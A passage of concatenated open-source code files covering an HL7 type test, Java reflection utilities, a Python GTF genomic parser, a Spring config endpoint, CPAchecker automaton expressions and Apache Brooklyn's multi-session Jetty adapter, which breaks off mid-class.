package ca.infoway.messagebuilder.generator.util;
import static org.junit.Assert.assertEquals;
import java.util.List;
import org.junit.Test;
import ca.infoway.messagebuilder.domainvalue.HL7TriggerEventCode;
public class ClassBasedDomainTypeTest {
@Test
public void shouldFindParentTypes() throws Exception {
ClassBasedDomainType domainType = new ClassBasedDomainType(HL7TriggerEventCode.class);
List<DomainType> list = domainType.getParentDomainTypes();
assertEquals("size", 1, list.size());
assertEquals("ActCode", "ActCode", list.get(0).getName());
}
}
|
Jakegogo/concurrent | concur/src-transfer/transfer/utils/TypeUtils.java | <filename>concur/src-transfer/transfer/utils/TypeUtils.java<gh_stars>10-100
/*
* Copyright 1999-2101 Alibaba Group.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package transfer.utils;
import java.lang.reflect.*;
/**
* @author wenshao[<EMAIL>]
*/
public class TypeUtils {
public static Class<?> getRawClass(Type type) {
if (type == null) {
return Object.class;
}
if (type instanceof Class<?>) {
return (Class<?>) type;
} else if (type instanceof ParameterizedType) {
return getRawClass(((ParameterizedType) type).getRawType());
} else {
throw new IllegalArgumentException("TODO");
}
}
public static boolean isGenericParamType(Type type) {
if (type instanceof ParameterizedType) {
return true;
}
if (type instanceof Class) {
return isGenericParamType(((Class<?>) type).getGenericSuperclass());
}
return false;
}
public static Type getGenericParamType(Type type) {
if (type instanceof ParameterizedType) {
return type;
}
if (type instanceof Class) {
return getGenericParamType(((Class<?>) type).getGenericSuperclass());
}
return type;
}
public static Type unwrap(Type type) {
if (type instanceof GenericArrayType) {
Type componentType = ((GenericArrayType) type).getGenericComponentType();
if (componentType == byte.class) {
return byte[].class;
}
if (componentType == char.class) {
return char[].class;
}
}
return type;
}
public static Class<?> getClass(Type type) {
if (type.getClass() == Class.class) {
return (Class<?>) type;
}
if (type instanceof ParameterizedType) {
return getClass(((ParameterizedType) type).getRawType());
}
return Object.class;
}
public static Field getField(Class<?> clazz, String fieldName) {
for (Field field : clazz.getDeclaredFields()) {
if (fieldName.equals(field.getName())) {
return field;
}
}
Class<?> superClass = clazz.getSuperclass();
if(superClass != null && superClass != Object.class) {
return getField(superClass, fieldName);
}
return null;
}
public static String decapitalize(String name) {
if (name == null || name.length() == 0) {
return name;
}
if (name.length() > 1 && Character.isUpperCase(name.charAt(1)) &&
Character.isUpperCase(name.charAt(0))){
return name;
}
char chars[] = name.toCharArray();
chars[0] = Character.toLowerCase(chars[0]);
return new String(chars);
}
/**
* 获取泛型参数
* @param type ParameterizedType
* @return
*/
public static Type getParameterizedType(ParameterizedType type, int index) {
return type.getActualTypeArguments()[index];
}
/**
* 获取泛型参数类
* @param type Type
* @return
*/
public static Class<?> getParameterizedClass(Type type, int index) {
if (type instanceof ParameterizedType) {
Type parameterizedType = ((ParameterizedType)type).getActualTypeArguments()[index];
return getRawClass(parameterizedType);
} else {
return Object.class;
}
}
public static Byte castToByte(Object value) {
if (value == null) {
return null;
}
if (value instanceof Number) {
return ((Number) value).byteValue();
}
if (value instanceof String) {
String strVal = (String) value;
if (strVal.length() == 0) {
return null;
}
if ("null".equals(strVal) || "NULL".equals(strVal)) {
return null;
}
return Byte.parseByte(strVal);
}
throw new IllegalArgumentException("can not cast to byte, value : " + value);
}
}
|
EnjoyLifeFund/macHighSierra-py36-pkgs | lhc/io/gtf/iterator.py | <gh_stars>0
from collections import namedtuple
from itertools import chain
from lhc.binf.genomic_coordinate import GenomicInterval as Interval, NestedGenomicInterval as NestedInterval
from lhc.binf.genomic_coordinate.nested_genomic_interval_factory import NestedGenomicIntervalFactory
GtfLine = namedtuple('GtfLine', ('chr', 'source', 'type', 'start', 'stop', 'score', 'strand', 'phase', 'attr'))
class GtfLineIterator:
def __init__(self, iterator):
self.iterator = iterator
self.line_no = 0
self.hdr = self.parse_header()
def __del__(self):
self.close()
def __iter__(self):
return self
def __next__(self):
while True:
line = self.parse_line(next(self.iterator))
self.line_no += 1
if line.data['type'] != 'chromosome':
break
return line
def close(self):
if hasattr(self.iterator, 'close'):
self.iterator.close()
def parse_header(self):
hdrs = []
line = next(self.iterator)
line_no = 1
while line.startswith('#'):
hdrs.append(line)
line = self.iterator.readline()
line_no += 1
self.line_no = line_no
self.iterator = chain([line], self.iterator)
return hdrs
@staticmethod
def parse_line(line):
parts = line.rstrip('\r\n').split('\t')
return Interval(int(parts[3]) - 1, int(parts[4]),
chromosome=parts[0],
strand=parts[6],
data={
'source': parts[1],
'type': parts[2],
'score': parts[5],
'phase': parts[7],
'attr': GtfLineIterator.parse_attributes(parts[8])
})
@staticmethod
def parse_attributes(attr):
parts = (part.strip() for part in attr.split(';'))
parts = [part.split(' ', 1) for part in parts if part != '']
for part in parts:
part[1] = part[1][1:-1] if part[1].startswith('"') else int(part[1])
return dict(parts)
class GtfIterator:
__slots__ = ('iterator', 'factory')
def __init__(self, iterator, header=False):
self.iterator = iterator
self.factory = NestedGenomicIntervalFactory()
if header:
line = next(self.iterator)
self.factory.add_interval(_get_interval(line, 0), parents=_get_parent(line))
def __iter__(self):
return self
def __next__(self) -> NestedInterval:
if self.factory.drained():
raise StopIteration
try:
while not self.factory.has_complete_interval():
line = next(self.iterator)
self.factory.add_interval(_get_interval(line, self.iterator.line_no), parents=_get_parent(line))
except StopIteration:
self.factory.close()
return self.factory.get_complete_interval()
def __getstate__(self):
return self.iterator, self.factory
def __setstate__(self, state):
self.iterator, self.factory = state
def _get_interval(line, line_no):
name = _get_name(line, default_id=str(line_no))
data = {'type': line.data['type'], 'attr': line.data['attr'], 'name': name}
return NestedInterval(line.start, line.stop, strand=line.strand, data=data)
def _get_name(line, *, default_id=None):
return line.data['attr']['gene_name'] if line.data['type'] == 'gene' else \
line.data['attr']['transcript_id'] if line.data['type'] == 'transcript' else \
default_id
def _get_parent(line):
if line.data['type'] == 'gene':
return None
elif line.data['type'] == 'transcript':
return [line.data['attr']['gene_name']]
elif 'transcript_id' in line.data['attr']:
return [line.data['attr']['transcript_id']]
|
hummer-team/hummer-framework | hummer-simple/hummer-simple-api/src/main/java/com/hummer/api/web/ConfigController2.java | /*
* Copyright (c) 2019-2021 LiGuo <<EMAIL>>
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
package com.hummer.api.web;
import com.hummer.core.PropertiesContainer;
import com.hummer.rest.model.ResourceResponse;
import lombok.extern.slf4j.Slf4j;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.util.Properties;
/**
* @Author: lee
* @since:1.0.0
* @Date: 2019/9/30 14:53
**/
@RestController
@RequestMapping(value = "/v1")
@Slf4j
public class ConfigController2 {
//@NacosValue(value = "${test.config}", autoRefreshed = true)
//warning :use @Value annotation config value no flush
private String testConfig;
//@NacosConfigListener(dataId = "mytest_01", groupId = "test_01")
public void notice(Properties config) {
log.info("config changed notice {}", config);
}
@GetMapping(value = "/nacos2/config2")
public ResourceResponse showConfig() {
return ResourceResponse.ok(String.format("%s---------->%s"
, testConfig
, PropertiesContainer.valueOfString("test.config")));
}
}
|
45258E9F/IntPTI | src/org/sosy_lab/cpachecker/cpa/automaton/AutomatonExpression.java | <reponame>45258E9F/IntPTI
/*
* IntPTI: integer error fixing by proper-type inference
* Copyright (c) 2017.
*
* Open-source component:
*
* CPAchecker
* Copyright (C) 2007-2014 <NAME>
*
* Guava: Google Core Libraries for Java
* Copyright (C) 2010-2006 Google
*
*
*/
package org.sosy_lab.cpachecker.cpa.automaton;
import org.sosy_lab.cpachecker.core.interfaces.AbstractQueryableState;
import org.sosy_lab.cpachecker.core.interfaces.AbstractState;
import org.sosy_lab.cpachecker.exceptions.CPATransferException;
import org.sosy_lab.cpachecker.exceptions.InvalidQueryException;
import java.util.logging.Level;
interface AutomatonExpression {
ResultValue<?> eval(AutomatonExpressionArguments pArgs) throws CPATransferException;
static class StringExpression implements AutomatonExpression {
private String toPrint;
public StringExpression(String pString) {
super();
this.toPrint = pString;
}
@Override
public ResultValue<?> eval(AutomatonExpressionArguments pArgs) {
// replace $rawstatement
String str =
toPrint.replaceAll("\\$[rR]aw[Ss]tatement", pArgs.getCfaEdge().getRawStatement());
// replace $line
str = str.replaceAll("\\$[Ll]ine", String.valueOf(pArgs.getCfaEdge().getLineNumber()));
// replace $location
str = str.replaceAll("\\$[Ll]ocation", pArgs.getCfaEdge().getFileLocation().toString());
// replace $file
str = str.replaceAll("\\$[Ff]ile", pArgs.getCfaEdge().getFileLocation().getFileName());
// replace $states
str = str.replaceAll("\\$[Ss]tates", pArgs.getAbstractStates().toString());
// replace Transition Variables and AutomatonVariables
str = pArgs.replaceVariables(str);
if (str == null) {
return new ResultValue<>("Failure in Variable Replacement in String \"" + toPrint + "\"",
"ActionExpr.Print");
} else {
return new ResultValue<>(str);
}
}
}
/**
* Sends a query-String to an <code>AbstractState</code> of another analysis and returns the
* query-Result.
*/
static class CPAQuery implements AutomatonExpression {
private final String cpaName;
private final String queryString;
public CPAQuery(String pCPAName, String pQuery) {
cpaName = pCPAName;
queryString = pQuery;
}
@Override
public ResultValue<String> eval(AutomatonExpressionArguments pArgs) {
// replace transition variables
String modifiedQueryString = pArgs.replaceVariables(queryString);
if (modifiedQueryString == null) {
return new ResultValue<>("Failed to modify queryString \"" + queryString + "\"",
"AutomatonBoolExpr.CPAQuery");
}
for (AbstractState ae : pArgs.getAbstractStates()) {
if (ae instanceof AbstractQueryableState) {
AbstractQueryableState aqe = (AbstractQueryableState) ae;
if (aqe.getCPAName().equals(cpaName)) {
try {
Object result = aqe.evaluateProperty(modifiedQueryString);
return new ResultValue<>(result.toString());
} catch (InvalidQueryException e) {
pArgs.getLogger().logException(Level.WARNING, e,
"Automaton encountered an Exception during Query of the "
+ cpaName + " CPA on Edge " + pArgs.getCfaEdge().getDescription());
return new ResultValue<>("Automaton encountered an Exception during Query of the "
+ cpaName + " CPA on Edge " + pArgs.getCfaEdge().getDescription(),
"AutomatonExpression.CPAQuery");
}
}
}
}
return new ResultValue<>("No State of CPA \"" + cpaName + "\" was found!",
"AutomatonExpression.CPAQuery");
}
@Override
public String toString() {
return "EVAL(" + cpaName + "(\"" + queryString + "\"))";
}
}
// TODO: lift CPA Query here
public static class ResultValue<resultType> {
private boolean canNotEvaluate = false;
private String failureMessage = null; // only set if cannotEvaluate == true
private String failureOrigin = null; // only set if cannotEvaluate == true
private resultType value = null; // only set if cannotEvaluate == false
public ResultValue(resultType value) {
this.value = value;
}
public ResultValue(String failureMessage, String failureOrigin) {
this.canNotEvaluate = true;
this.failureMessage = failureMessage;
this.failureOrigin = failureOrigin;
}
/**
* Copies the failure messages from the passed result.
* This Method assumes that the parameter fulfills canNotEvaluate() == true !
*/
public ResultValue(ResultValue<?> pRes) {
assert pRes.canNotEvaluate;
this.canNotEvaluate = true;
this.failureMessage = pRes.failureMessage;
this.failureOrigin = pRes.failureOrigin;
}
boolean canNotEvaluate() {
return this.canNotEvaluate;
}
/**
* @returns null if cannotEvaluate() == false
*/
String getFailureMessage() {
return failureMessage;
}
/**
* @returns null if cannotEvaluate() == false
*/
String getFailureOrigin() {
return failureOrigin;
}
/**
* @returns null if cannotEvaluate() == true
*/
resultType getValue() {
return value;
}
}
}
|
algairim/brooklyn-server | rest/rest-resources/src/main/java/org/apache/brooklyn/rest/util/MultiSessionAttributeAdapter.java | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.brooklyn.rest.util;
import com.google.common.collect.ImmutableSet;
import com.google.gson.JsonObject;
import javax.servlet.http.Cookie;
import org.apache.brooklyn.api.mgmt.ManagementContext;
import org.apache.brooklyn.config.ConfigKey;
import org.apache.brooklyn.core.config.ConfigKeys;
import org.apache.brooklyn.util.exceptions.Exceptions;
import org.apache.brooklyn.util.text.Strings;
import org.apache.commons.collections.CollectionUtils;
import org.apache.commons.collections.EnumerationUtils;
import org.eclipse.jetty.http.HttpHeader;
import org.eclipse.jetty.server.Handler;
import org.eclipse.jetty.server.Request;
import org.eclipse.jetty.server.Server;
import org.eclipse.jetty.server.SessionIdManager;
import org.eclipse.jetty.server.handler.ContextHandler;
import org.eclipse.jetty.server.session.DefaultSessionIdManager;
import org.eclipse.jetty.server.session.Session;
import org.eclipse.jetty.server.session.SessionHandler;
import org.osgi.framework.BundleContext;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import javax.ws.rs.WebApplicationException;
import javax.ws.rs.core.HttpHeaders;
import javax.ws.rs.core.MediaType;
import javax.ws.rs.core.Response;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
/**
* Convenience to assist working with multiple sessions, ensuring requests in different bundles can
* get a consistent shared view of data.
* <p>
* Any processing that wants to {@link #getAttribute(String)}, {@link #setAttribute(String, Object)} or {@link #removeAttribute(String)}
* in a way that all Brooklyn bundles will see (e.g. authentication, etc) should use the methods in this class,
* as opposed to calling {@link HttpServletRequest#getSession()} then {@link HttpSession#getAttribute(String)}.
* <p>
* This class will follow heuristics to find a preferred shared session. The heuristics are as follows:
* <ul>
* <li>We look at the {@link Server} for a {@link #KEY_PREFERRED_SESSION_HANDLER_INSTANCE}, and
* if it has a session with {@link #KEY_IS_PREFERRED}, we use it
* <li>We look in all session handlers for a session marked as {@link #KEY_IS_PREFERRED}
* <li>If there is a {@link #KEY_PREFERRED_SESSION_HANDLER_INSTANCE} at the server,
* we create a session there (if needed, and if we can, ie we have the request)
* and mark it (or one already existing there) as {@link #KEY_IS_PREFERRED}
* <li>If there is no {@link #KEY_PREFERRED_SESSION_HANDLER_INSTANCE} at the server,
* we go through all bundles looking for the CXF one and we store that against the {@link Server}
* (this should only happen once, will log warnings if not found)
* <li>Finally we mark the originating session as the {@link #KEY_IS_PREFERRED} so that it
* is used in preference to others, including ones at the {@link #KEY_PREFERRED_SESSION_HANDLER_INSTANCE},
* if we were invoked in a way where we couldn't find such a handler (ie no such bundle) and we couldn't create one there
* </ul>
* This class may have the occasional quirk if run in parallel but we can live with that,
* and the danger I think is confined to inconsistent sessions.
* It logs in that case and other fringe cases.
* <p>
* In future we may wish to make this more configurable, so bundles can specify a priority
* or a configuration property could specify the preferred bundles and/or context paths.
* But for now hard-coding CXF is fine.
* <p>
* Obviously code that bypasses this and uses the {@link HttpServletRequest#getSession()}
* will only read/write things in their session, and it won't be visible to requests from other bundles.
* <p>
* Previously we tried sharing sessions across bundles; you'll see in git history the code for that;
* however it was messy, and ended up being dodgy when we invalidate, and likely very dodgy if the
* system auto-invalidates (e.g. time- or memory-based expiry), as code there is quite fragile assuming
* sessions are one-to-one tied to their handlers.
*/
public class MultiSessionAttributeAdapter {
private static final Logger log = LoggerFactory.getLogger(MultiSessionAttributeAdapter.class);
private static final String KEY_PREFERRED_SESSION_HANDLER_INSTANCE = "org.apache.brooklyn.server.PreferredSessionHandlerInstance";
private static final String KEY_IS_PREFERRED = "org.apache.brooklyn.server.IsPreferred";
public final static ConfigKey<Long> MAX_SESSION_AGE = ConfigKeys.newLongConfigKey(
"org.apache.brooklyn.server.maxSessionAge", "Max session age in seconds");
public final static ConfigKey<Integer> MAX_INACTIVE_INTERVAL = ConfigKeys.newIntegerConfigKey(
"org.apache.brooklyn.server.maxInactiveInterval", "Max inactive interval in seconds",
3600);
private static final Object PREFERRED_SYMBOLIC_NAME =
"org.apache.cxf.cxf-rt-transports-http";
//// our bundle here doesn't have a session handler; sessions to the REST API get the handler from CXF
//"org.apache.brooklyn.rest.rest-resources";
private final HttpSession preferredSession;
private final HttpSession localSession;
private final ManagementContext mgmt;
private boolean silentlyAcceptLocalOnlyValues = false;
private boolean setLocalValuesAlso = false;
private boolean setAllKnownSessions = false;
private static final Factory FACTORY = new Factory();
protected MultiSessionAttributeAdapter(HttpSession preferredSession, HttpSession localSession, HttpServletRequest request) {
this.preferredSession = preferredSession;
this.localSession = localSession;
ServletContext servletContext = request!=null ? request.getServletContext() :
localSession!=null ? localSession.getServletContext() :
preferredSession!=null ? preferredSession.getServletContext() :
null;
this.mgmt = servletContext != null ? new ManagementContextProvider(servletContext).getManagementContext() : null;
resetExpiration();
}
public MultiSessionAttributeAdapter(HttpSession preferredSession, HttpSession session) {
this(preferredSession, session, null);
}
public static MultiSessionAttributeAdapter of(HttpServletRequest r) {
return of(r, true);
}
/** Will find an adapter for an ID if one is known, without creating a session unnecessarily unless create is true.
* May return null if create is false and no valid session is known anywhere for a session ID in the request or if the request doesn't give a session ID;
* otherwise will find or create the session and the adapter. */
public static MultiSessionAttributeAdapter of(HttpServletRequest r, boolean create) {
HttpSession localSession = r.getSession(create);
HttpSession preferredSession = null;
if (localSession==null) {
preferredSession = FACTORY.findValidPreferredSession(null, r);
if(preferredSession!=null) {
// need to create a local session so the ID/session is registered with this ui module
if (r instanceof Request) {
// synch and own lookup to avoid the following warning
// 2021-09-13T08:12:33,186Z - WARN 254 o.e.j.s.session [p1568796312-1154]
// java.lang.IllegalStateException: Session node0171nuqxrc6qsf1tbrmxztok6xc4 already in cache
// at org.eclipse.jetty.server.session.AbstractSessionCache.add(AbstractSessionCache.java:467) ~[!/:9.4.39.v20210325]
// at org.eclipse.jetty.server.session.SessionHandler.newHttpSession(SessionHandler.java:770) ~[!/:9.4.39.v20210325]
// at org.eclipse.jetty.server.Request.getSession(Request.java:1628) ~[!/:9.4.39.v20210325]
// at org.eclipse.jetty.server.Request.getSession(Request.java:1602) ~[!/:9.4.39.v20210325]
// at org.apache.brooklyn.rest.util.MultiSessionAttributeAdapter.of(MultiSessionAttributeAdapter.java:155) ~[!/:1.1.0-SNAPSHOT]
synchronized (((Request)r).getSessionHandler()) {
try {
String id = ((Request) r).getSessionHandler().getSessionIdManager().newSessionId(r, System.currentTimeMillis());
localSession = ((Request) r).getSessionHandler().getSession(id);
} catch (Exception e) {
log.debug("Unable to retrieve session via safe override, falling back to default: "+e);
}
if (localSession==null) {
localSession = r.getSession();
}
}
} else {
localSession = r.getSession();
}
}
} else {
preferredSession = FACTORY.findPreferredSession(r);
}
if (preferredSession==null) {
return null;
} else {
return new MultiSessionAttributeAdapter(preferredSession, localSession, r);
}
}
/** Where the request isn't available, and the preferred session is expected to exist.
* Note we cannot create a new session at the preferred handler without a request. */
public static MultiSessionAttributeAdapter of(HttpSession session) {
return new MultiSessionAttributeAdapter(FACTORY.findPreferredSession(session, null), session);
}
protected static class Factory {
private HttpSession findPreferredSession(HttpServletRequest r) {
if (r.getSession(false)==null) {
log.warn("Creating session", new Exception("source of created session"));
r.getSession();
}
return findPreferredSession(r.getSession(), r);
}
private HttpSession findPreferredSession(HttpSession localSession, HttpServletRequest optionalRequest) {
HttpSession preferredSession = findValidPreferredSession(localSession, optionalRequest);
//TODO just check this the first time preferred session is accessed on a given request (when it is looked up)
ManagementContext mgmt = null;
ServletContext servletContext = optionalRequest!=null ? optionalRequest.getServletContext() : localSession!=null ? localSession.getServletContext() : preferredSession!=null ? preferredSession.getServletContext() : null;
if(servletContext != null){
mgmt = new ManagementContextProvider(servletContext).getManagementContext();
}
boolean isValid = ((Session)preferredSession).isValid();
if (!isValid) {
throw new SessionExpiredException("Session invalidated", SessionErrors.SESSION_INVALIDATED, optionalRequest);
}
if(mgmt !=null){
Long maxSessionAge = mgmt.getConfig().getConfig(MAX_SESSION_AGE);
if (maxSessionAge!=null) {
if (isAgeExceeded(preferredSession, maxSessionAge)) {
invalidateAllSession(preferredSession, localSession);
throw new SessionExpiredException("Max session age exceeded", SessionErrors.SESSION_AGE_EXCEEDED, optionalRequest);
}
}
}
return preferredSession;
}
private boolean isAgeExceeded(HttpSession preferredSession, Long maxSessionAge) {
return preferredSession.getCreationTime() + maxSessionAge*1000 < System.currentTimeMillis();
}
private void invalidateAllSession(HttpSession preferredSession, HttpSession localSession) {
Server server = ((Session)preferredSession).getSessionHandler().getServer();
final Handler[] handlers = server.getChildHandlersByClass(SessionHandler.class);
List<String> invalidatedSessions = new ArrayList<>();
if (handlers!=null) {
for (Handler h: handlers) {
Session session = getSessionSafely(h, preferredSession.getId());
if (session!=null) {
invalidatedSessions.add(session.getId());
session.invalidate();
}
}
}
if(!invalidatedSessions.contains(localSession.getId())){
localSession.invalidate();
}
}
/** looks up a preferred session matching ID in either */
private HttpSession findValidPreferredSession(HttpSession optionalLocalSession, HttpServletRequest optionalRequest) {
SessionHandler preferredHandler = null;
HttpSession preferredSession = null;
if (optionalLocalSession instanceof Session) {
preferredHandler = getPreferredJettyHandler((Session) optionalLocalSession, true, true);
}
if (preferredHandler==null && optionalRequest instanceof Request) {
SessionHandler someHandler = ((Request)optionalRequest).getSessionHandler();
if (someHandler!=null) {
preferredHandler = getServerGlobalPreferredHandler(someHandler.getServer());
}
}
if (preferredHandler != null ) {
String extendedId= optionalLocalSession!=null ? optionalLocalSession.getId() : optionalRequest!=null ? optionalRequest.getRequestedSessionId() : null;
// first use the requestedSessionId assigned by the request's session handler
if (Strings.isNonBlank(extendedId)) {
SessionIdManager idManager = preferredHandler.getSessionIdManager();
String id = idManager.getId(extendedId);
preferredSession = getSessionSafely(preferredHandler, id);
if (preferredSession != null && !((Session) preferredSession).getExtendedId().equals(extendedId))
((Session) preferredSession).setIdChanged(true);
}
// now try all requested session id's, because the request's session handler is not aware of global sessions, see if any are still valid
if (preferredSession==null && optionalRequest instanceof Request) {
SessionHandler sh = ((Request) optionalRequest).getSessionHandler();
// look at all cookies on request
if (sh.isUsingCookies()) {
Cookie[] cookies = optionalRequest.getCookies();
if (cookies != null && cookies.length > 0) {
final String sessionCookie = sh.getSessionCookieName(sh.getSessionCookieConfig());
for (Cookie cookie : cookies) {
if (sessionCookie.equalsIgnoreCase(cookie.getName())) {
SessionIdManager idManager = preferredHandler.getSessionIdManager();
String requestedId = cookie.getValue();
String globalSessionId = idManager.getId(requestedId);
preferredSession = getSessionSafely(preferredHandler, globalSessionId);
if (preferredSession != null) {
((Request) optionalRequest).setRequestedSessionId(requestedId);
((Session) preferredSession).setIdChanged(true);
break;
}
}
}
}
}
}
}
if (log.isTraceEnabled()) {
log.trace("Preferred session for "+info(optionalRequest, optionalLocalSession)+": "+
(preferredSession!=null ? info(preferredSession) : "none, willl make new session in "+info(preferredHandler)));
}
if (preferredSession!=null) {
return preferredSession;
}
if (optionalLocalSession instanceof Session) {
if (preferredHandler!=null) {
if (optionalRequest!=null) {
HttpSession result = preferredHandler.newHttpSession(optionalRequest);
// bigger than HouseKeeper.sessionScavengeInterval: 3600
// https://www.eclipse.org/jetty/documentation/9.4.x/session-configuration-housekeeper.html
if (log.isTraceEnabled()) {
log.trace("Creating new session "+info(result)+" to be preferred for " + info(optionalRequest, optionalLocalSession));
}
return result;
}
// the server has a preferred handler, but no session yet; fall back to marking on the session
log.warn("No request so cannot create preferred session at preferred handler "+info(preferredHandler)+" for "+info(optionalRequest, optionalLocalSession)+"; will exceptionally mark the calling session as the preferred one");
markSessionAsPreferred(optionalLocalSession, " (request came in for "+info(optionalRequest, optionalLocalSession)+")");
return optionalLocalSession;
} else {
// shouldn't come here; at minimum it should have returned the local session's handler
log.warn("Unexpected failure to find a handler for "+info(optionalRequest, optionalLocalSession));
}
} else if (optionalLocalSession!=null) {
log.warn("Unsupported session impl in "+info(optionalRequest, optionalLocalSession));
}
return optionalLocalSession;
}
private SessionHandler getPreferredJettyHandler(Session localSession, boolean allowHandlerThatDoesntHaveSession, boolean markAndReturnThisIfNoneFound) {
SessionHandler localHandler = ((Session)localSession).getSessionHandler();
Server server = localHandler.getServer();
// NB: this can also be useful: ((DefaultSessionIdManager)localHandler.getSessionIdManager())
if (server!=null) {
Session sessionAtServerGlobalPreferredHandler = null;
// does the server have a globally preferred handler
SessionHandler preferredServerGlobalSessionHandler = getServerGlobalPreferredHandler(server);
if (preferredServerGlobalSessionHandler!=null) {
sessionAtServerGlobalPreferredHandler = getSessionSafely(preferredServerGlobalSessionHandler, localSession.getId());
if (sessionAtServerGlobalPreferredHandler!=null && Boolean.TRUE.equals( sessionAtServerGlobalPreferredHandler.getAttribute(KEY_IS_PREFERRED)) ) {
return preferredServerGlobalSessionHandler;
}
}
Handler[] handlers = server.getChildHandlersByClass(SessionHandler.class);
// if there is a session marked, use it, unless the server has a preferred session handler and it has an equivalent session
// this way if a session is marked (from use in a context where we don't have a web request) it will be used
SessionHandler preferredHandlerForMarkedSession = findPeerSessionMarkedPreferred(localSession.getId(), handlers);
if (preferredHandlerForMarkedSession!=null) return preferredHandlerForMarkedSession;
// nothing marked as preferred; if server global handler has a session, mark it as preferred
// this way it will get found quickly on subsequent requests
if (sessionAtServerGlobalPreferredHandler!=null) {
sessionAtServerGlobalPreferredHandler.setAttribute(KEY_IS_PREFERRED, true);
return preferredServerGlobalSessionHandler;
}
if (allowHandlerThatDoesntHaveSession && preferredServerGlobalSessionHandler!=null) {
return preferredServerGlobalSessionHandler;
}
if (preferredServerGlobalSessionHandler==null) {
preferredServerGlobalSessionHandler = findPreferredBundleHandler(localSession, server, handlers);
if (preferredServerGlobalSessionHandler!=null) {
// recurse
return getPreferredJettyHandler(localSession, allowHandlerThatDoesntHaveSession, markAndReturnThisIfNoneFound);
}
}
if (markAndReturnThisIfNoneFound) {
// nothing detected as preferred ... let's mark this session as the preferred one
markSessionAsPreferred(localSession, " (this is the handler that the request came in on)");
return localHandler;
}
} else {
log.warn("Could not find server for "+info(localSession));
}
return null;
}
protected void markSessionAsPreferred(HttpSession localSession, String msg) {
if (log.isTraceEnabled()) {
log.trace("Recording on "+info(localSession)+" that it is the preferred session"+msg);
}
localSession.setAttribute(KEY_IS_PREFERRED, true);
}
protected SessionHandler findPreferredBundleHandler(Session localSession, Server server, Handler[] handlers) {
if (PREFERRED_SYMBOLIC_NAME==null) return null;
SessionHandler preferredHandler = null;
if (handlers != null) {
for (Handler handler: handlers) {
SessionHandler sh = (SessionHandler) handler;
ContextHandler.Context ctx = getContext(sh);
if (ctx!=null) {
BundleContext bundle = (BundleContext) ctx.getAttribute("osgi-bundlecontext");
if (bundle!=null) {
if (PREFERRED_SYMBOLIC_NAME.equals(bundle.getBundle().getSymbolicName())) {
if (preferredHandler==null) {
preferredHandler = sh;
server.setAttribute(KEY_PREFERRED_SESSION_HANDLER_INSTANCE, sh);
log.trace("Recording "+info(sh)+" as server-wide preferred session handler");
} else {
log.warn("Multiple preferred session handlers detected; keeping "+info(preferredHandler)+", ignoring "+info(sh));
}
}
}
}
}
}
if (preferredHandler==null) {
log.warn("Did not find handler in bundle "+PREFERRED_SYMBOLIC_NAME+"; not using server-wide handler; check whether bundle is installed!");
}
return preferredHandler;
}
protected SessionHandler findPeerSessionMarkedPreferred(String localSessionId, Handler[] handlers) {
SessionHandler preferredHandler = null;
// are any sessions themselves marked as primary
if (handlers != null) {
for (Handler h: handlers) {
SessionHandler sh = (SessionHandler)h;
Session sessionHere = getSessionSafely(sh, localSessionId);
if (sessionHere!=null) {
if (Boolean.TRUE.equals(sessionHere.getAttribute(KEY_IS_PREFERRED))) {
if (preferredHandler!=null) {
// could occasionally happen on race, but should be extremely unlikely
log.warn("Multiple sessions marked as preferred for "+localSessionId+"; using "+info(preferredHandler)+" not "+info(sh));
sessionHere.setAttribute(KEY_IS_PREFERRED, null);
} else {
preferredHandler = sh;
}
}
}
}
}
return preferredHandler;
}
protected SessionHandler getServerGlobalPreferredHandler(Server server) {
SessionHandler preferredHandler = (SessionHandler) server.getAttribute(KEY_PREFERRED_SESSION_HANDLER_INSTANCE);
if (preferredHandler!=null) {
if (preferredHandler.isRunning()) {
if (log.isTraceEnabled()) {
log.trace("Found "+info(preferredHandler)+" as server-wide preferred handler");
}
return preferredHandler;
}
log.warn("Preferred session handler "+info(preferredHandler)+" detected on server is not running; resetting");
}
return null;
}
enum SessionErrors {
SESSION_INVALIDATED, SESSION_AGE_EXCEEDED
}
private class SessionExpiredException extends WebApplicationException {
